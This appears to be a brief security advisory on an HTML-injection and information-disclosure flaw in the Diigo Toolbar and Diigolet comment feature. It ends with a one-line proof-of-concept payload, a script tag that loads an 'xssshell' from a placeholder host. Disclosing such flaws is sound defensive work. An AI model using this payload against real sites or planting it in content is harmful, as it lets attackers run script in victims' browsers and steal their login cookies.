source: https://www.securityfocus.com/bid/29611/info

Diigo Toolbar and Diigolet are prone to an HTML-injection vulnerability and an information-disclosure vulnerability when handling data via the 'comment' feature.

An attacker can exploit the HTML-injection issue to run arbitrary HTML and script code in the plugin of an unsuspecting user in the context of the domain on which a shared comment was made. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

The attacker can exploit the information-disclosure issue via successful man-in-the-middle attacks. Information harvested may aid in further attacks.

<script src="http://example.com/xssshell/"></script>